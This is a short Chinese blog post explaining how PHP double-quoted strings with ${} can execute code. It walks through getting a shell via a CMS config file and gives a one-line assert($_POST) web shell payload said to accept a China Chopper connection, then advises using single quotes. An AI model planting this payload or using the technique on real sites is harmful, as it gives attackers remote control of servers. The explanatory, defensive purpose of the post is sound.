前言
在PHP語言中,單引號和雙引號都可以表示一個字符串,但是對於雙引號來說,可能會對引號內的內容進行二次解釋,這就可能會出現安全問題。
正文
舉個簡單例子
<?php
$a = 1;
$b = 2;
echo '$a$b';//輸出結果為$a$b
echo "$a$b";//輸出結果為12
?>
可以看到這兩個輸出的結果並不相同。
在雙引號中倘若有${}出現,那么{}內的內容將被當做代碼塊來執行。
可以看到成功執行了phpinfo()
試想一下,倘若在一個cms的后台,可以修改數據庫的配置文件,且配置文件中的值用雙引號包括,我們雖然也可以直接閉合代碼達到getshell的后果,但是如果cms對傳遞的參數進行了addlashes()處理的話,我們就無法去閉合代碼了,但這時我們可以傳入${命令}就可以達到getshell的目的。
現在,讓我們來修改一下代碼,讓我們不只能輸出phpinfo
<?php echo "${@assert($_POST[a])}";?> //@是用來防止輸出錯誤信息的
菜刀成功連接
總結
本文簡單記錄了雙引號可能會引發的代碼執行的情況
對於這種漏洞的防御,一定要明確單引號與雙引號的區別所在,不要簡單認為兩者是互相可以替代的,在平時的代碼書寫中能只用單引號一定不要用雙引號,畢竟單引號的解釋時間也比雙引號少得多,代碼運行相對更快。